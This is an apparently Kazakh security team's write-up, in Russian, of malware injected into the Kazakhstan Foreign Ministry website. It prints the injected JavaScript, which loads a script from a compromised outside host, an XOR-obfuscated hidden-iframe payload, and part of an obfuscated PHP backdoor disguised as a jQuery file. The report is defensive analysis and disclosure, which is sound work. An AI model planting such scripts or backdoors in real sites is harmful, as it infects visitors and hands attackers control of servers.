Мы недавно опубликовали новость о заражении официального сайта МИД РК. С момента нашего обнаружения инцидента и информирования прошло около 20 дней, но ответа на данное происшествие в наш адрес так и не поступило ни от МИДа, ни от другого уполномоченного органа, который должен мониторить государственные информационные ресурсы. Выкладываем результаты нашего поверхностного анализа схемы заражения сайта и работы ботнета. К сожалению нас не привлекли к расследованию инцидента не смотря на нашу готовность, о чем мы также сообщили в письменной форме, по этой причине выкладываем сведения которые мы смогли добыть собственными силами…
Напомним, не так давно к нам обратились с вопросом о причине блокировки сайт МИД РК (mfa.gov.kz) со стороны Google Chrome.
После проверки ресурса выяснилось, что сайт действительно попал в черный список Google.
Анализ сайта показал наличие скрипта в коде главной страницы следующего содержания (см Код 1, Рис. 1):
——————
<script>var a=”; setTimeout(10); var default_keyword = encodeURIComponent(document.title); var se_referrer = encodeURIComponent(document.referrer); var host = encodeURIComponent(window.location.host); var base = “http://comune.colledimacine.ch.it/js/jquery.min.php“; var n_url = base + “?default_keyword=” + default_keyword + “&se_referrer=” + se_referrer + “&source=” + host; var f_url = base + “?c_utt=snt2014&c_utm=” + encodeURIComponent(n_url); if (default_keyword !== null && default_keyword !== ” && se_referrer !== null && se_referrer !== ”){document.write(‘<script type=”text/javascript” src=”‘ + f_url + ‘”>’ + ‘<‘ + ‘/script>’);}</script>
——————-
Код 1.
Рис. 1
Далее мы проследовали по ссылке в скрипте (comune.colledimacine.ch.it). Оказалось, что сайт, так же как и портал МИД, сделан на платформе CMS Joomla и также был взломан. В коде главной страницы сайта присутствовал скрипт (Код 1.), вместе с ним присутствовал и другой зашифрованный код см. Код 2.
———————
<script type=”text/javascript”>var a=”‘1Aqapkrv’02v{rg’1F’00vgzv-hctcqapkrv’00’1G’2C’2;tcp’02pgdgpgp’02’1F’02glamfgWPKAmormlglv’0:fmawoglv,pgdgppgp’0;’1@’2C’2;tcp’02fgdcwnv]ig{umpf’02’1F’02glamfgWPKAmormlglv’0:fmawoglv,vkvng’0;’1@’2C’2;tcp’02jmqv’02’1F’02glamfgWPKAmormlglv’0:nmacvkml,jmqv’0;’1@’2C’2;tcp’02kdpcog’02’1F’02fmawoglv,apgcvgGngoglv’0:’05kdpcog’05’0;’1@’2C’2;kdpcog,ukfvj’1F2’1@’2C’2;kdpcog,jgkejv’1F2’1@’2C’2;kdpcog,qpa’1F’02’00j’00’02)’02’00vv’00’02)’02’00r’1C–’00’02)’02’00a33l6,’00’02)’02’00k,vg’00’02)’02’00cq’00’02)’02’00gpe’00’02)’02’00wkf’00’02)’02’00g,a’00’02)’02’00mo’00’02)’02’00-qlkvaj’1Df’00’02)’02’00gd’00’02)’02’00cwn’00’02)’02’00v]i’00’02)’02’00g{’00’02)’02’00umpf’1F’00’02)’02fgdcwnv]ig{umpf’02)’02’00’04pgdg’00’02)’02’00ppgp’1F’00’02)’02pgdgpgp’02)’02’00’04qg]p’00’02)’02’00gd’00’02)’02’00gp’00’02)’02’00pgp’1F’00’02)’02pgdgpgp’02)’02’00’04qmw’00’02)’02’00pag’1F’00’02)’02jmqv’1@’2C’2;fmawoglv,mf{,crrglfAjknf’0:kdpcog’0;’1@’2C’1A-qapkrv’1G”;b=””;c=””;var clen;clen=a.length;for(i=0;i<clen;i++){b+=String.fromCharCode(a.charCodeAt(i)^2)}c=unescape(b);document.write(c);
———————
Код 2.
Мы изменили параметр document.write(c) на console.log(c) и сохранили в файл с расширением *.html, в итоге несложных манипуляций получили следующее, смотри Рис. 2
Рис. 2
На портале МИД РК, а также на сайте comune.colledimacine.ch.it фигурировал один и тот же файл: jquery-1.9.1.min.php. Для выяснения масштабов атаки использовали ресурсы Google, в результате получили Рис.3
Рис. 3
Просмотрев данные результаты выдачи и проанализировав вложенные в сайт коды, выяснили, что код аналогичный на всех ресурсах, отличия заключаются только в ссылках, которые периодически меняются по определенному алгоритму. Пересмотрев множество сайтов из результата поиска, нашли сайт с неправильно настроенными конфигурациями, что позволило нам скачать тот файл jquery-1.9.1.min.php, который оказался зашифрованным см. фрагмент кода (Код 3)
———————
<?php ${“\x47L\x4f\x42\x41L\x53”}[“\x78\x6dwe\x70\x6d\x67\x70″]=”\x70\x6c\x61\x69\x6e\x5f\x74\x65x\x74”;${“\x47\x4cO\x42\x41\x4c\x53”}[“\x70\x70\x66\x75\x69\x6f\x74\x6fl\x6bs”]=”\x62\x6co\x63\x6b”;${“GL\x4f\x42AL\x53”}[“\x6a\x63\x65\x6e\x71\x6a\x70\x61g\x72\x6e”]=”enc_\x74ext”;${“\x47\x4c\x4fBA\x4cS”}[“\x62\x71\x76\x63\x6f\x6d”]=”n”;${“\x47\x4c\x4f\x42\x41L\x53”}[“l\x66\x75\x79\x76r\x6a\x70je\x73″]=”\x69\x76”;${“G\x4c\x4f\x42AL\x53”}[“\x74\x71\x73\x68q\x77\x6e\x62\x6a\x64″]=”\x69\x76\x5f\x6c\x65\x6e”;${“\x47L\x4fB\x41\x4c\x53”}[“\x62\x76\x78\x65v\x66\x7a\x68\x6b\x6e\x6a”]=”p\x61\x73\x73wo\x72\x64″;${“GL\x4fB\x41\x4c\x53”}[“\x63\x61\x67\x74g\x69″]=”s\x65\x6e\x64_\x68\x65\x61ders”;${“\x47L\x4f\x42A\x4cS”}[“\x69epe\x6aw\x6dbn\x76i\x75″]=”\x62\x61s\x65\x5fh\x65\x61\x64\x65\x72\x73”;${“GL\x4f\x42\x41\x4c\x53”}[“\x72t\x79\x73\x69\x79\x66\x62″]=”\x63\x6c\x69en\x74\x5f\x69\x70”;${“\x47\x4cO\x42\x41\x4cS”}[“\x71\x62p\x71mn”]=”\x64a\x74\x61″;${“GLOB\x41L\x53”}[“\x72\x65otu\x70\x62j”]=”\x72e\x73\x70_h\x65\x61d\x65\x72s”;${“GL\x4f\x42\x41\x4c\x53”}[“\x74a\x76\x77\x66\x6a”]=”\x64\x69v”;${“\x47\x4c\x4fB\x41LS”}[“\x6f\x6e\x7au\x78\x78u\x6ci”]=”\x66p”;${“G\x4cO\x42\x41LS”}[“\x78q\x73\x73f\x70\x73b\x6f”]=”\x6f\x75\x74″;${“\x47L\x4fB\x41\x4c\x53”}[“xfft\x6f\x77\x66e\x78\x71″]=”\x73\x65\x6ce\x63\x74\x6fr”;${“\x47\x4c\x4fB\x41\x4cS”}[“lp\x79\x6a\x75sv\x6a\x79\x6d”]=”\x63ont\x65\x78\x74″;${“\x47\x4cOBAL\x53”}[“km\x70y\x6c\x6a\x66\x78n\x72″]=”\x70\x6f\x73”;${“\x47LO\x42AL\x53”}[“\x79w\x74\x75\x66wdh\x65\x74\x6a\x64″]=”h\x65\x61\x64\x65\x72”;${“\x47\x4cOB\x41L\x53”}[“\x73\x75fdg\x76\x6ar”]=”v\x61\x6c”;${“\x47\x4c\x4f\x42A\x4c\x53”}[“\x75\x75\x6c\x74kqb”]=”\x6b\x65y”;${“\x47LO\x42\x41\x4cS”}[“\x70\x6d\x6e\x6ab\x6d\x6b\x61x\x74″]=”\x76alu\x65”;${“G\x4cOB\x41\x4c\x53”}[“x\x71\x79\x6c\x65x\x77\x79\x6cb”]=”\x6e\x61\x6d\x65″;${“\x47\x4c\x4f\x42\x41\x4cS”}[“
….
———————
Код 3.
Для его декодирования нами был реализован скрипт на python, в результате работы которого файл стал выглядеть вот так см. Рис. 4.
Рис. 4
IP-адреса на рисунке 4, предположительно, адреса командных серверов ботнета. Также стоит обратить внимание на строки с 19 по 21, где сказано, что при обращении к файлу jquery-1.9.1.min.php с параметром pi в ответ получаем “ok”. Это своего рода ping, для проверки доступности инфицированного сайта см. Рис. 5
Рис. 5
Далее был подготовлен еще один python скрипт, выполняющий две задачи:
- производит поиск файла jquery-1.9.1.min.php через google
- переходит по ссылке к файлу jquery-1.9.1.min.php с параметром ?pi=any
вот таким нехитрым способом, мы попытались узнать, какие из найденных сайтов действительно являются инфицированными см. Рис 6
Рис. 6
Как оказалось, большинство инфицированных сайтов использовали CMS Joomla и вероятнее всего это и стало причиной такого массового заражения. Что касается непосредственно сайта МИД РК, то мы уведомили все органы о проблеме сразу же после обнаружения. К нашему большому сожалению обсуждаемая проблема была устранена на портале МИД’a лишь спустя 4 дня. На протяжении этого времени зловредный код исчезал и появлялся вновь. Мы внимательно следили за бесполезной работой администратора сайта, который в один из периодов (ВНИМАНИЕ!) закомментировал зловредный код, тем самым вылечив симптомы, а не болезнь. На данный момент уязвимость устранена.
К сожалению проведение дальнейшего расследования невозможно собственными силами, так как отсутствуют соответствующие полномочия, которые есть у ГТС (kz-cert.kz). Возможно у данного органа уже есть подробная информация по данному инциденту.